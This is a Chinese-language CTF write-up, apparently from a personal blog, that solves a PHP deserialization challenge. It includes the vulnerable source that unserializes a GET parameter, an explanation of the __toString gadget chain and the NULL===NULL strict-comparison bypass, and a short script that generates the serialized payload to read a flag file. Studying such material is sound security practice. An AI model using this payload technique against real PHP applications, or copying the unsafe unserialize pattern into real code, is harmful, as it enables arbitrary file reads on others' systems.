web日刷

发布时间 2023-08-06 12:30:31作者: _CRAYON

今天是简单反序列化

 1  <?php  
 2 include 'flag.php';
 3 class pkshow 
 4 {  
 5     function echo_name()     
 6     {          
 7         return "Pk very safe^.^";      
 8     }  
 9 } 
10 
11 class acp 
12 {   
13     protected $cinder;  
14     public $neutron;
15     public $nova;
16     function __construct() 
17     {      
18         $this->cinder = new pkshow;
19     }  
20     function __toString()      
21     {          
22         if (isset($this->cinder))  
23             return $this->cinder->echo_name();      
24     }  
25 }  
26 
27 class ace
28 {    
29     public $filename;     
30     public $openstack;
31     public $docker; 
32     function echo_name()      
33     {   
34         $this->openstack = unserialize($this->docker);
35         $this->openstack->neutron = $heat;
36         if($this->openstack->neutron === $this->openstack->nova)
37         {
38         $file = "./{$this->filename}";
39             if (file_get_contents($file))         
40             {              
41                 return file_get_contents($file); 
42             }  
43             else 
44             { 
45                 return "keystone lost~"; 
46             }    
47         }
48     }  
49 }  
50 
51 if (isset($_GET['pks']))  
52 {
53     $logData = unserialize($_GET['pks']);
54     echo $logData; 
55 } 
56 else 
57 { 
58     highlight_file(__file__); 
59 }
60 ?> 

这道题是反序列化,但是跟phar反序列化没有关系,考察还是php反序列化和php强比较绕过。

看到反序列化的题,先找找执行的关键函数,这里是file_get_contents(),于是我们就要构造触发echo_name()这个函数,这个函数在acp类里面的__toString魔术方法里面,

  1. __construct :构造函数,每次创建新对象先调用该方法。
  2. __toString:返回一个类被当作字符串时要输出的内容。

强比较利用的是NULL===NULL来进行绕过

 1 <?php 
 2 /**
 3  *autho:crayon 
 4  */
 5 
 6 class acp 
 7 {
 8     protected $cinder;
 9     function __construct()
10     {
11         $this->cinder = new ace();
12     }
13 }
14 class ace
15 {
16     public $filename="flag.php";  //后面修改为../nssctfasdasdflag
17     public $openstack;
18     public $docker;
19 }
20 $a= new acp();
21 
22 echo serialize($a);
23 echo "\n";
24 echo urlencode(serialize($a));

前面看了一个师傅的wp,直接把cinder赋值了,感觉没绕过construct方法,还是这个好理解。